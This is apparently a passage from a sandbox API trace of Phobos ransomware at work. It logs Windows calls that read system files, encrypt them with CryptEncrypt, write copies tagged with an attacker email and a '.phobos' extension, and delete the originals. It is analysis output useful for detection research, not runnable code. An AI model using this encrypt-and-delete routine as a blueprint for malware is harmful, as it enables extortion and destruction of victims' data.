WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.837] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.839] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.840] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.841] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.841] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.841] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.841] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.841] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.841] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0043.866] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0043.866] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.998] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=144072) returned 1 [0043.998] CloseHandle (hObject=0x308) returned 1 [0043.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0043.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0043.999] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.999] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0043.999] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0043.999] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0043.999] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c8e50) returned 1 [0043.999] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0043.999] ReadFile (in: hFile=0x308, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x232c8, lpOverlapped=0x0) returned 1 [0044.066] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x232d0, dwBufLen=0x232d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x232d0) returned 1 [0044.066] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x232d0, lpOverlapped=0x0) returned 1 [0044.069] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8e10) returned 1 [0044.069] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.069] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.069] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.069] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.069] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0044.069] CloseHandle (hObject=0x308) returned 1 [0044.069] CloseHandle (hObject=0x304) returned 1 [0044.072] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0044.100] ResetEvent (hEvent=0x2d0) returned 1 [0044.100] SetEvent (hEvent=0x2d4) returned 1 [0044.100] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.100] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.119] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=0) returned 1 [0044.119] CloseHandle (hObject=0x310) returned 1 [0044.120] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0044.122] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0044.137] ResetEvent (hEvent=0x2d0) returned 1 [0044.137] SetEvent (hEvent=0x2d4) returned 1 [0044.137] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.137] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0044.140] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=14168) returned 1 [0044.140] CloseHandle (hObject=0x304) returned 1 [0044.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0044.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.140] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0044.140] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.140] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.140] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.143] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c8e50) returned 1 [0044.143] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.143] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x3758, lpOverlapped=0x0) returned 1 [0044.182] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x3760, dwBufLen=0x3760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x3760) returned 1 [0044.183] WriteFile (in: hFile=0x308, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x3760, lpOverlapped=0x0) returned 1 [0044.183] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8e10) returned 1 [0044.183] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.184] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.184] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.184] WriteFile (in: hFile=0x308, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.184] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0044.184] CloseHandle (hObject=0x304) returned 1 [0044.184] CloseHandle (hObject=0x308) returned 1 [0044.185] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0044.185] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.186] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.192] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18264) returned 1 [0044.192] CloseHandle (hObject=0x318) returned 1 [0044.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0044.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.192] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.192] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.192] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.192] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.195] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc010) returned 1 [0044.195] CryptSetKeyParam (hKey=0x10dc010, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.195] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4758, lpOverlapped=0x0) returned 1 [0044.292] CryptEncrypt (in: hKey=0x10dc010, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760, dwBufLen=0x4760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760) returned 1 [0044.292] WriteFile (in: hFile=0x320, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4760, lpOverlapped=0x0) returned 1 [0044.293] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc050) returned 1 [0044.293] CryptSetKeyParam (hKey=0x10dc050, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.293] CryptEncrypt (in: hKey=0x10dc050, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.293] CryptDestroyKey (hKey=0x10dc050) returned 1 [0044.293] WriteFile (in: hFile=0x320, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.293] CryptDestroyKey (hKey=0x10dc010) returned 1 [0044.293] CloseHandle (hObject=0x318) returned 1 [0044.293] CloseHandle (hObject=0x320) returned 1 [0044.294] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0044.295] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.295] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0044.306] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18264) returned 1 [0044.306] CloseHandle (hObject=0x304) returned 1 [0044.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0044.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.306] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0044.306] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.306] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.306] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.312] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc210) returned 1 [0044.312] CryptSetKeyParam (hKey=0x10dc210, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.312] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4758, lpOverlapped=0x0) returned 1 [0044.358] CryptEncrypt (in: hKey=0x10dc210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760, dwBufLen=0x4760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760) returned 1 [0044.358] WriteFile (in: hFile=0x308, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4760, lpOverlapped=0x0) returned 1 [0044.359] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dbf50) returned 1 [0044.359] CryptSetKeyParam (hKey=0x10dbf50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.359] CryptEncrypt (in: hKey=0x10dbf50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.359] CryptDestroyKey (hKey=0x10dbf50) returned 1 [0044.359] WriteFile (in: hFile=0x308, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.359] CryptDestroyKey (hKey=0x10dc210) returned 1 [0044.359] CloseHandle (hObject=0x304) returned 1 [0044.359] CloseHandle (hObject=0x308) returned 1 [0044.360] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0044.360] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.361] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.361] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=19288) returned 1 [0044.361] CloseHandle (hObject=0x308) returned 1 [0044.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0044.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.361] CreateFileW 